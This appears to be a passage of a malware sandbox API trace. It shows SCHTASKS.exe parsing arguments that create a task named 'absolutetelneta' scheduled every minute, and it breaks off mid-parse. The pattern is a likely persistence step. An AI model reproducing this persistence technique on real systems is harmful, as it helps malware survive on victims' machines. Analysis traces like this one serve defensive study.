(HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b9d0 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b5b0 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a14810 [0128.565] _memicmp (_Buf1=0x1abb7a14810, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xa0) returned 0x1abb7a13e80 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1ba60 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b550 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b700 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a14830 [0128.565] _memicmp (_Buf1=0x1abb7a14830, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.565] GetProcessHeap () returned 0x1abb7a10000 [0128.565] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x200) returned 0x1abb7a1bb90 [0128.565] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1abb7a1bb90, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0128.566] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0128.566] GetProcessHeap () returned 0x1abb7a10000 [0128.566] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x30) returned 0x1abb7a13870 [0128.566] _vsnwprintf (in: _Buffer=0x1abb7a13e80, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1adf4cf468 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0128.566] GetProcessHeap () returned 0x1abb7a10000 [0128.566] GetProcessHeap () returned 0x1abb7a10000 [0128.566] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a1a8c0) returned 1 [0128.566] GetProcessHeap () returned 0x1abb7a10000 [0128.566] RtlSizeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, MemoryPointer=0x1abb7a1a8c0) returned 0x776 [0128.567] RtlFreeHeap (HeapHandle=0x1abb7a10000, Flags=0x0, BaseAddress=0x1abb7a1a8c0) returned 1 [0128.567] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.568] lstrlenW (lpString="?") returned 1 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.568] lstrlenW (lpString="create") returned 6 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.568] lstrlenW (lpString="delete") returned 6 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.568] lstrlenW (lpString="query") returned 5 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.568] lstrlenW (lpString="change") returned 6 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.568] lstrlenW (lpString="run") returned 3 [0128.568] GetThreadLocale () returned 0x409 [0128.568] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.569] lstrlenW (lpString="end") returned 3 [0128.569] GetThreadLocale () returned 0x409 [0128.569] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.569] lstrlenW (lpString="showsid") returned 7 [0128.569] GetThreadLocale () returned 0x409 [0128.570] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0128.570] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.570] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.570] lstrlenW (lpString="/create") returned 7 [0128.573] lstrlenW (lpString="-/") returned 2 [0128.573] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.573] lstrlenW (lpString="?") returned 1 [0128.573] lstrlenW (lpString="?") returned 1 [0128.573] GetProcessHeap () returned 0x1abb7a10000 [0128.573] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a13f50 [0128.573] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.573] GetProcessHeap () returned 0x1abb7a10000 [0128.573] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xa) returned 0x1abb7a138b0 [0128.574] lstrlenW (lpString="create") returned 6 [0128.574] GetProcessHeap () returned 0x1abb7a10000 [0128.574] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a138d0 [0128.574] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.574] GetProcessHeap () returned 0x1abb7a10000 [0128.574] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x14) returned 0x1abb7a138f0 [0128.574] _vsnwprintf (in: _Buffer=0x1abb7a138b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|?|") returned 3 [0128.574] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.574] lstrlenW (lpString="|?|") returned 3 [0128.574] lstrlenW (lpString="|create|") returned 8 [0128.574] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.574] lstrlenW (lpString="create") returned 6 [0128.574] lstrlenW (lpString="create") returned 6 [0128.574] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.574] GetProcessHeap () returned 0x1abb7a10000 [0128.574] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a138b0) returned 1 [0128.574] GetProcessHeap () returned 0x1abb7a10000 [0128.574] RtlReAllocateHeap (Heap=0x1abb7a10000, Flags=0xc, Ptr=0x1abb7a138b0, Size=0x14) returned 0x1abb7a13910 [0128.574] lstrlenW (lpString="create") returned 6 [0128.574] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.574] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.574] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.574] lstrlenW (lpString="|create|") returned 8 [0128.574] lstrlenW (lpString="|create|") returned 8 [0128.574] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0128.575] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.575] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.575] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.575] lstrlenW (lpString="/tn") returned 3 [0128.575] lstrlenW (lpString="-/") returned 2 [0128.575] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.575] lstrlenW (lpString="?") returned 1 [0128.575] lstrlenW (lpString="?") returned 1 [0128.575] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.575] lstrlenW (lpString="tn") returned 2 [0128.575] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.575] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|?|") returned 3 [0128.575] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.575] lstrlenW (lpString="|?|") returned 3 [0128.575] lstrlenW (lpString="|tn|") returned 4 [0128.575] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.575] lstrlenW (lpString="create") returned 6 [0128.575] lstrlenW (lpString="create") returned 6 [0128.575] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.575] lstrlenW (lpString="tn") returned 2 [0128.575] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.575] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.575] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.576] lstrlenW (lpString="|create|") returned 8 [0128.576] lstrlenW (lpString="|tn|") returned 4 [0128.576] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0128.576] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.576] lstrlenW (lpString="delete") returned 6 [0128.576] lstrlenW (lpString="delete") returned 6 [0128.576] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.576] lstrlenW (lpString="tn") returned 2 [0128.576] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.576] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|delete|") returned 8 [0128.576] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.576] lstrlenW (lpString="|delete|") returned 8 [0128.576] lstrlenW (lpString="|tn|") returned 4 [0128.576] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0128.576] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.576] lstrlenW (lpString="query") returned 5 [0128.576] lstrlenW (lpString="query") returned 5 [0128.576] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.576] lstrlenW (lpString="tn") returned 2 [0128.576] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.576] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|query|") returned 7 [0128.576] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.576] lstrlenW (lpString="|query|") returned 7 [0128.576] lstrlenW (lpString="|tn|") returned 4 [0128.576] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0128.576] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.576] lstrlenW (lpString="change") returned 6 [0128.576] lstrlenW (lpString="change") returned 6 [0128.576] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.577] lstrlenW (lpString="tn") returned 2 [0128.577] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.577] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|change|") returned 8 [0128.577] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.577] lstrlenW (lpString="|change|") returned 8 [0128.577] lstrlenW (lpString="|tn|") returned 4 [0128.577] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0128.577] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.577] lstrlenW (lpString="run") returned 3 [0128.577] lstrlenW (lpString="run") returned 3 [0128.577] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.577] lstrlenW (lpString="tn") returned 2 [0128.577] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.577] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|run|") returned 5 [0128.577] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.577] lstrlenW (lpString="|run|") returned 5 [0128.577] lstrlenW (lpString="|tn|") returned 4 [0128.577] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0128.577] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.577] lstrlenW (lpString="end") returned 3 [0128.577] lstrlenW (lpString="end") returned 3 [0128.577] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.577] lstrlenW (lpString="tn") returned 2 [0128.577] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.577] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|end|") returned 5 [0128.578] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.578] lstrlenW (lpString="|end|") returned 5 [0128.578] lstrlenW (lpString="|tn|") returned 4 [0128.578] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0128.578] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.578] lstrlenW (lpString="showsid") returned 7 [0128.578] lstrlenW (lpString="showsid") returned 7 [0128.578] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.578] GetProcessHeap () returned 0x1abb7a10000 [0128.578] HeapValidate (hHeap=0x1abb7a10000, dwFlags=0x0, lpMem=0x1abb7a13910) returned 1 [0128.578] GetProcessHeap () returned 0x1abb7a10000 [0128.578] RtlReAllocateHeap (Heap=0x1abb7a10000, Flags=0xc, Ptr=0x1abb7a13910, Size=0x16) returned 0x1abb7a13910 [0128.578] lstrlenW (lpString="tn") returned 2 [0128.578] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.578] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|showsid|") returned 9 [0128.578] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|tn|") returned 4 [0128.578] lstrlenW (lpString="|showsid|") returned 9 [0128.578] lstrlenW (lpString="|tn|") returned 4 [0128.578] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0128.578] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.578] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.578] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] lstrlenW (lpString="/tn") returned 3 [0128.579] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] lstrlenW (lpString="/tn") returned 3 [0128.579] GetProcessHeap () returned 0x1abb7a10000 [0128.579] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x8) returned 0x1abb7a138b0 [0128.579] GetProcessHeap () returned 0x1abb7a10000 [0128.579] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b970 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] lstrlenW (lpString="absolutetelneta") returned 15 [0128.579] lstrlenW (lpString="-/") returned 2 [0128.579] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] lstrlenW (lpString="absolutetelneta") returned 15 [0128.579] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.579] lstrlenW (lpString="absolutetelneta") returned 15 [0128.579] GetProcessHeap () returned 0x1abb7a10000 [0128.579] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b730 [0128.579] GetProcessHeap () returned 0x1abb7a10000 [0128.579] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b940 [0128.580] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.580] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.580] lstrlenW (lpString="/sc") returned 3 [0128.580] lstrlenW (lpString="-/") returned 2 [0128.580] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.580] lstrlenW (lpString="?") returned 1 [0128.580] lstrlenW (lpString="?") returned 1 [0128.580] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.580] lstrlenW (lpString="sc") returned 2 [0128.580] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.580] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|?|") returned 3 [0128.580] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.580] lstrlenW (lpString="|?|") returned 3 [0128.580] lstrlenW (lpString="|sc|") returned 4 [0128.580] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.580] lstrlenW (lpString="create") returned 6 [0128.580] lstrlenW (lpString="create") returned 6 [0128.580] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.580] lstrlenW (lpString="sc") returned 2 [0128.580] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.580] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|create|") returned 8 [0128.580] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.581] lstrlenW (lpString="|create|") returned 8 [0128.581] lstrlenW (lpString="|sc|") returned 4 [0128.581] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0128.581] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.581] lstrlenW (lpString="delete") returned 6 [0128.581] lstrlenW (lpString="delete") returned 6 [0128.581] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.581] lstrlenW (lpString="sc") returned 2 [0128.581] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.581] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|delete|") returned 8 [0128.581] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.581] lstrlenW (lpString="|delete|") returned 8 [0128.581] lstrlenW (lpString="|sc|") returned 4 [0128.581] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0128.581] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.581] lstrlenW (lpString="query") returned 5 [0128.581] lstrlenW (lpString="query") returned 5 [0128.581] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.581] lstrlenW (lpString="sc") returned 2 [0128.581] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.582] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|query|") returned 7 [0128.582] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.582] lstrlenW (lpString="|query|") returned 7 [0128.582] lstrlenW (lpString="|sc|") returned 4 [0128.582] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0128.582] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.582] lstrlenW (lpString="change") returned 6 [0128.582] lstrlenW (lpString="change") returned 6 [0128.582] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.582] lstrlenW (lpString="sc") returned 2 [0128.582] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.582] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|change|") returned 8 [0128.582] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.582] lstrlenW (lpString="|change|") returned 8 [0128.582] lstrlenW (lpString="|sc|") returned 4 [0128.582] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0128.582] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.582] lstrlenW (lpString="run") returned 3 [0128.582] lstrlenW (lpString="run") returned 3 [0128.582] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.582] lstrlenW (lpString="sc") returned 2 [0128.582] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.582] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|run|") returned 5 [0128.583] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.583] lstrlenW (lpString="|run|") returned 5 [0128.583] lstrlenW (lpString="|sc|") returned 4 [0128.583] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0128.583] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.583] lstrlenW (lpString="end") returned 3 [0128.583] lstrlenW (lpString="end") returned 3 [0128.583] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.583] lstrlenW (lpString="sc") returned 2 [0128.583] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.583] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|end|") returned 5 [0128.583] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.583] lstrlenW (lpString="|end|") returned 5 [0128.583] lstrlenW (lpString="|sc|") returned 4 [0128.583] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0128.583] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.583] lstrlenW (lpString="showsid") returned 7 [0128.583] lstrlenW (lpString="showsid") returned 7 [0128.583] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.583] lstrlenW (lpString="sc") returned 2 [0128.583] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.583] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|showsid|") returned 9 [0128.584] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cf478 | out: _Buffer="|sc|") returned 4 [0128.584] lstrlenW (lpString="|showsid|") returned 9 [0128.584] lstrlenW (lpString="|sc|") returned 4 [0128.584] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] lstrlenW (lpString="/sc") returned 3 [0128.584] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] lstrlenW (lpString="/sc") returned 3 [0128.584] GetProcessHeap () returned 0x1abb7a10000 [0128.584] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x8) returned 0x1abb7a13940 [0128.584] GetProcessHeap () returned 0x1abb7a10000 [0128.584] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b4c0 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.584] lstrlenW (lpString="MINUTE") returned 6 [0128.584] lstrlenW (lpString="-/") returned 2 [0128.584] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0128.585] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.585] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.585] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.585] lstrlenW (lpString="MINUTE") returned 6 [0128.585] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0128.585] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.585] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.585] lstrlenW (lpString="MINUTE") returned 6 [0128.585] GetProcessHeap () returned 0x1abb7a10000 [0128.585] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a14260 [0128.585] GetProcessHeap () returned 0x1abb7a10000 [0128.585] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x20) returned 0x1abb7a1b490 [0128.585] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.588] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.588] lstrlenW (lpString="/mo") returned 3 [0128.588] lstrlenW (lpString="-/") returned 2 [0128.588] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.588] lstrlenW (lpString="?") 